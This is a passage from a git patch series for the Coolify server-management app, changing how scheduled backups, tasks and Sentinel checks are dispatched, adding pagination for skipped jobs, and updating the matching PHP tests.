$skipReason = $this->getBackupSkipReason($backup, $server); if ($skipReason !== null) { $this->skippedCount++; $this->logSkip('backup', $skipReason, [ @@ -173,7 +174,6 @@ private function processScheduledBackups(): void continue; } - $server = $backup->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -185,7 +185,7 @@ private function processScheduledBackups(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}")) { DatabaseBackupJob::dispatch($backup); $this->dispatchedCount++; Log::channel('scheduled')->info('Backup dispatched', [ @@ -213,19 +213,19 @@ private function processScheduledTasks(): void foreach ($tasks as $task) { try { - $skipReason = $this->getTaskSkipReason($task); + $server = $task->server(); + $skipReason = $this->getTaskSkipReason($task, $server); if ($skipReason !== null) { $this->skippedCount++; $this->logSkip('task', $skipReason, [ 'task_id' => $task->id, 'task_name' => $task->name, - 'team_id' => $task->server()?->team_id, + 'team_id' => $server?->team_id, ]); continue; } - $server = $task->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -237,7 +237,7 @@ private function processScheduledTasks(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) { ScheduledTaskJob::dispatch($task); $this->dispatchedCount++; Log::channel('scheduled')->info('Task dispatched', [ @@ -256,7 +256,7 @@ private function processScheduledTasks(): void } } - private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string + private function getBackupSkipReason(ScheduledDatabaseBackup $backup, ?Server $server): ?string { if (blank(data_get($backup, 'database'))) { $backup->delete(); @@ -264,7 +264,6 @@ private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string return 'database_deleted'; } - $server = $backup->server(); if (blank($server)) { $backup->delete(); @@ -282,12 +281,11 @@ private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string return null; } - private function getTaskSkipReason(ScheduledTask $task): ?string + private function getTaskSkipReason(ScheduledTask $task, ?Server $server): ?string { $service = $task->service; $application = $task->application; - $server = $task->server(); if (blank($server)) { $task->delete(); @@ -319,16 +317,38 @@ private function getTaskSkipReason(ScheduledTask $task): ?string return null; } - private function shouldRunNow(string $frequency, string $timezone): bool + /** + * Determine if a cron schedule should run now. + * + * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking + * instead of isDue(). This is resilient to queue delays — even if the job is delayed + * by minutes, it still catches the missed cron window. Without dedupKey, falls back + * to simple isDue() check. + */ + private function shouldRunNow(string $frequency, string $timezone, ?string $dedupKey = null): bool { $cron = new CronExpression($frequency); - - // Use the frozen execution time, not the current time - // Fallback to current time if execution time is not set (shouldn't happen) $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone); - return $cron->isDue($executionTime); + // No dedup key → simple isDue check (used by docker cleanups) + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + // Get the most recent time this cron was due (including current minute) + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + + $lastDispatched = Cache::get($dedupKey); + + // Run if: never dispatched before, OR there's been a due time since last dispatch + if ($lastDispatched === null || $previousDue->gt(Carbon::parse($lastDispatched))) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + + return true; + } + + return false; } private function processDockerCleanups(): void diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index a4619354d..c8219a2ea 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -64,11 +64,11 @@ public function handle(): void private function getServers(): Collection { - $allServers = Server::where('ip', '!=', '1.2.3.4'); + $allServers = Server::with('settings')->where('ip', '!=', '1.2.3.4'); if (isCloud()) { $servers = $allServers->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get(); - $own = Team::find(0)->servers; + $own = Team::find(0)->servers()->with('settings')->get(); return $servers->merge($own); } else { @@ -82,6 +82,10 @@ private function dispatchConnectionChecks(Collection $servers): void if ($this->shouldRunNow($this->checkFrequency)) { $servers->each(function (Server $server) { try { + // Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity + if ($server->isSentinelEnabled() && $server->isSentinelLive()) { + return; + } ServerConnectionCheckJob::dispatch($server); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [ @@ -134,9 +138,7 @@ private function processServerTasks(Server $server): void // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { - dispatch(function () use ($server) { - $server->restartContainer('coolify-sentinel'); - }); + CheckAndStartSentinelJob::dispatch($server); } // Dispatch ServerStorageCheckJob if due (only when Sentinel is out of sync or disabled) @@ -160,11 +162,8 @@ private function processServerTasks(Server $server): void ServerPatchCheckJob::dispatch($server); } - // Sentinel update checks (hourly) - check for updates to Sentinel version - // No timezone needed for hourly - runs at top of every hour - if ($isSentinelEnabled && $this->shouldRunNow('0 * * * *')) { - CheckAndStartSentinelJob::dispatch($server); - } + // Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates. + // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } private function shouldRunNow(string $frequency, ?string $timezone = null): bool diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php new file mode 100644 index 000000000..8862cc71e --- /dev/null +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -0,0 +1,208 @@ +getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('dispatches backup when job is delayed past the cron minute', function () { + // Freeze time at 02:07 — job was delayed 7 minutes past the 02:00 cron + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC')); + + $job = new ScheduledJobManager; + + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 + // No lastDispatched in cache → should run + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch on subsequent runs within same cron window', function () { + // First run at 02:00 — dispatches and sets cache + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2'); + expect($first)->toBeTrue(); + + // Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2'); + expect($second)->toBeFalse(); +}); + +it('fires every_minute cron correctly on consecutive minutes', function () { + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Minute 1 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result1)->toBeTrue(); + + // Minute 2 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result2)->toBeTrue(); + + // Minute 3 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result3)->toBeTrue(); +}); + +it('re-dispatches after cache loss instead of missing', function () { + // First run at 02:00 — dispatches + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); + + // Simulate Redis restart — cache lost + Cache::forget('test-backup:4'); + + // Run again at 02:01 — should re-dispatch (lastDispatched = null after cache loss) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); + expect($result)->toBeTrue(); +}); + +it('does not dispatch when cron is not due and was not recently due', function () { + // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate) + Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5'); + expect($result)->toBeFalse(); +}); + +it('falls back to isDue when no dedup key is provided', function () { + // Time is exactly 02:00, cron is "0 2 * * *" — should be due + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // No dedup key → simple isDue check + $result = $method->invoke($job, '0 2 * * *', 'UTC'); + expect($result)->toBeTrue(); + + // At 02:01 without dedup key → isDue returns false + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $result2 = $method->invoke($job, '0 2 * * *', 'UTC'); + expect($result2)->toBeFalse(); +}); + +it('respects server timezone for cron evaluation', function () { + // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC) + Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT + // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire + $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6'); + expect($resultSingapore)->toBeTrue(); + + // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire + $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7'); + expect($resultUtc)->toBeFalse(); +}); diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.php index 0f2613f11..d8449adc3 100644 --- a/tests/Unit/ServerManagerJobSentinelCheckTest.php +++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php @@ -1,6 +1,7 @@ instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel enabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); $server->id = 1; $server->name = 'test-server'; $server->ip = '192.168.1.100'; @@ -34,29 +34,76 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { - return $job->server->id === $server->id; - }); + // Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync + Queue::assertNotPushed(CheckAndStartSentinelJob::class); }); -it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () { - // Mock InstanceSettings +it('skips ServerConnectionCheckJob when sentinel is live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now(); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is healthy so SSH connection check is skipped + Queue::assertNotPushed(ServerConnectionCheckJob::class); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(false); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now()->subMinutes(10); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is out of sync so SSH connection check is needed + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id; + }); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () { $settings = Mockery::mock(InstanceSettings::class); $settings->instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel disabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(false); + $server->shouldReceive('isSentinelLive')->never(); $server->id = 2; $server->name = 'test-server-no-sentinel'; $server->ip = '192.168.1.101'; @@ -64,78 +111,14 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was NOT dispatched - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); - -it('respects server timezone when scheduling sentinel checks', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to top of hour in America/New_York (which is 17:00 UTC) - Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST) - - // Create a mock server with sentinel enabled and America/New_York timezone - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 3; - $server->name = 'test-server-est'; - $server->ip = '192.168.1.102'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone) - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { + // Sentinel is not enabled so SSH connection check must run + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { return $job->server->id === $server->id; }); }); - -it('does not dispatch sentinel check when not at top of hour', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to middle of the hour (not top of hour) - Carbon::setTestNow('2025-01-15 12:30:00'); - - // Create a mock server with sentinel enabled - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 4; - $server->name = 'test-server-mid-hour'; - $server->ip = '192.168.1.103'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour) - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); From 63be5928ab109c0df51dd000642b35fba3961bfb Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Feb 2026 16:23:58 +0100 Subject: [PATCH 117/305] feat(scheduler): add pagination to skipped jobs and filter manager start events - Implement pagination for skipped jobs display with 20 items per page - Add pagination controls (previous/next buttons) to the scheduled jobs view - Exclude ScheduledJobManager "started" events from run logs, keeping only "completed" events - Add ShouldBeEncrypted interface to ScheduledTaskJob for secure queue handling - Update log filtering to fetch 500 recent skips and slice for pagination - Use Log facade instead of fully qualified class name --- app/Jobs/DatabaseBackupJob.php | 2 +- app/Jobs/DockerCleanupJob.php | 2 + app/Jobs/ScheduledTaskJob.php | 3 +- app/Livewire/Settings/ScheduledJobs.php | 38 ++++++++++++++++++- app/Services/SchedulerLogParser.php | 2 +- .../settings/scheduled-jobs.blade.php | 23 ++++++++++- tests/Feature/ScheduledJobMonitoringTest.php | 36 ++++++++++++++++++ 7 files changed, 101 insertions(+), 5 deletions(-) diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index f2f454f87..5fc9f6cd8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -478,7 +478,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.'); } } - \Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); + Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); if ($databaseWithCollections === 'all') { $commands[] = 'mkdir -p '.$this->backup_dir; if (str($this->database->image)->startsWith('mongo:4')) { diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index f3f3a2ae4..78ef7f3a2 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -91,6 +91,8 @@ public function handle(): void $this->server->team?->notify(new DockerCleanupSuccess($this->server, $message)); event(new DockerCleanupDone($this->execution_log)); + + return; } if ($this->usageBefore >= $this->server->settings->docker_cleanup_threshold) { diff --git a/app/Jobs/ScheduledTaskJob.php b/app/Jobs/ScheduledTaskJob.php index b21bc11a1..49b9b9702 100644 --- a/app/Jobs/ScheduledTaskJob.php +++ b/app/Jobs/ScheduledTaskJob.php @@ -14,13 +14,14 @@ use App\Notifications\ScheduledTask\TaskSuccess; use Carbon\Carbon; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ScheduledTaskJob implements ShouldQueue +class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Livewire/Settings/ScheduledJobs.php b/app/Livewire/Settings/ScheduledJobs.php index 66480cd8d..4947dd19b 100644 --- a/app/Livewire/Settings/ScheduledJobs.php +++ b/app/Livewire/Settings/ScheduledJobs.php @@ -16,6 +16,18 @@ class ScheduledJobs extends Component public string $filterDate = 'last_24h'; + public int $skipPage = 0; + + public int $skipDefaultTake = 20; + + public bool $showSkipNext = false; + + public bool $showSkipPrev = false; + + public int $skipCurrentPage = 1; + + public int $skipTotalCount = 0; + protected Collection $executions; protected Collection $skipLogs; @@ -42,11 +54,30 @@ public function mount(): void public function updatedFilterType(): void { + $this->skipPage = 0; $this->loadData(); } public function updatedFilterDate(): void { + $this->skipPage = 0; + $this->loadData(); + } + + public function skipNextPage(): void + { + $this->skipPage += $this->skipDefaultTake; + $this->showSkipPrev = true; + $this->loadData(); + } + + public function skipPreviousPage(): void + { + $this->skipPage -= $this->skipDefaultTake; + if ($this->skipPage < 0) { + $this->skipPage = 0; + } + $this->showSkipPrev = $this->skipPage > 0; $this->loadData(); } @@ -69,7 +100,12 @@ private function loadData(?int $teamId = null): void $this->executions = $this->getExecutions($teamId); $parser = new SchedulerLogParser; - $this->skipLogs = $parser->getRecentSkips(50, $teamId); + $allSkips = $parser->getRecentSkips(500, $teamId); + $this->skipTotalCount = $allSkips->count(); + $this->skipLogs = $allSkips->slice($this->skipPage, $this->skipDefaultTake)->values(); + $this->showSkipPrev = $this->skipPage > 0; + $this->showSkipNext = ($this->skipPage + $this->skipDefaultTake) < $this->skipTotalCount; + $this->skipCurrentPage = intval($this->skipPage / $this->skipDefaultTake) + 1; $this->managerRuns = $parser->getRecentRuns(30, $teamId); } diff --git a/app/Services/SchedulerLogParser.php b/app/Services/SchedulerLogParser.php index a735a11c3..6e29851df 100644 --- a/app/Services/SchedulerLogParser.php +++ b/app/Services/SchedulerLogParser.php @@ -64,7 +64,7 @@ public function getRecentRuns(int $limit = 60, ?int $teamId = null): Collection continue; } - if (! str_contains($entry['message'], 'ScheduledJobManager')) { + if (! str_contains($entry['message'], 'ScheduledJobManager') || str_contains($entry['message'], 'started')) { continue; } diff --git a/resources/views/livewire/settings/scheduled-jobs.blade.php b/resources/views/livewire/settings/scheduled-jobs.blade.php index d22aca911..60acc9062 100644 --- a/resources/views/livewire/settings/scheduled-jobs.blade.php +++ b/resources/views/livewire/settings/scheduled-jobs.blade.php @@ -34,7 +34,7 @@ class="flex flex-col gap-8"> ]) :class="activeTab === 'skipped-jobs' && 'dark:bg-coollabs bg-coollabs text-white'" @click="activeTab = 'skipped-jobs'; window.location.hash = 'skipped-jobs'"> - Skipped Jobs ({{ $skipLogs->count() }}) + Skipped Jobs ({{ $skipTotalCount }}) @@ -186,6 +186,27 @@ class="border-b border-gray-200 dark:border-coolgray-400"> {{-- Skipped Jobs Tab --}}
Jobs that were not dispatched because conditions were not met.
+ @if($skipTotalCount > $skipDefaultTake) +
+ + + + + + + Page {{ $skipCurrentPage }} of {{ ceil($skipTotalCount / $skipDefaultTake) }} + + + + + + +
+ @endif
diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php index 1348375d4..90a3f57a4 100644 --- a/tests/Feature/ScheduledJobMonitoringTest.php +++ b/tests/Feature/ScheduledJobMonitoringTest.php @@ -173,6 +173,42 @@ @unlink($logPath); }); +test('scheduler log parser excludes started events from runs', function () { + $logPath = storage_path('logs/scheduled-test-started-filter.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + $runs = $parser->getRecentRuns(); + + expect($runs)->toHaveCount(1); + expect($runs->first()['message'])->toContain('completed'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); + test('scheduler log parser filters by team id', function () { $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); $logDir = dirname($logPath); From 31555f9e8a3a589e309eefc6a9267da66ecfe12a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Feb 2026 18:03:29 +0100 Subject: [PATCH 118/305] fix(jobs): prevent non-due jobs firing on restart and enrich skip logs with resource links - Refactor shouldRunNow() to only fire on first run (empty cache) if actually due by cron schedule, preventing spurious executions after cache loss or service restart - Add enrichSkipLogsWithLinks() method to fetch and populate resource names and links for tasks, backups, and docker cleanup jobs in skip logs - Update skip logs UI to display resource column with links to related resources, improving navigation and context - Add fallback display when linked resources are deleted - Expand tests to cover both restart scenarios: non-due jobs (should not fire) and due jobs (should fire) --- app/Jobs/ScheduledJobManager.php | 15 +++- app/Livewire/Settings/ScheduledJobs.php | 76 ++++++++++++++++++- .../settings/scheduled-jobs.blade.php | 22 +++--- .../ScheduledJobManagerShouldRunNowTest.php | 46 +++++++---- tests/Feature/ScheduledJobMonitoringTest.php | 36 +++++++++ 5 files changed, 166 insertions(+), 29 deletions(-) diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index fd641abb0..4195a1946 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -341,8 +341,19 @@ private function shouldRunNow(string $frequency, string $timezone, ?string $dedu $lastDispatched = Cache::get($dedupKey); - // Run if: never dispatched before, OR there's been a due time since last dispatch - if ($lastDispatched === null || $previousDue->gt(Carbon::parse($lastDispatched))) { + if ($lastDispatched === null) { + // First run after restart or cache loss: only fire if actually due right now. + // Seed the cache so subsequent runs can use tolerance/catch-up logic. + $isDue = $cron->isDue($executionTime); + if ($isDue) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + } + + return $isDue; + } + + // Subsequent runs: fire if there's been a due time since last dispatch + if ($previousDue->gt(Carbon::parse($lastDispatched))) { Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); return true; diff --git a/app/Livewire/Settings/ScheduledJobs.php b/app/Livewire/Settings/ScheduledJobs.php index 4947dd19b..1e54f1483 100644 --- a/app/Livewire/Settings/ScheduledJobs.php +++ b/app/Livewire/Settings/ScheduledJobs.php @@ -3,8 +3,11 @@ namespace App\Livewire\Settings; use App\Models\DockerCleanupExecution; +use App\Models\ScheduledDatabaseBackup; use App\Models\ScheduledDatabaseBackupExecution; +use App\Models\ScheduledTask; use App\Models\ScheduledTaskExecution; +use App\Models\Server; use App\Services\SchedulerLogParser; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; @@ -102,13 +105,84 @@ private function loadData(?int $teamId = null): void $parser = new SchedulerLogParser; $allSkips = $parser->getRecentSkips(500, $teamId); $this->skipTotalCount = $allSkips->count(); - $this->skipLogs = $allSkips->slice($this->skipPage, $this->skipDefaultTake)->values(); + $this->skipLogs = $this->enrichSkipLogsWithLinks( + $allSkips->slice($this->skipPage, 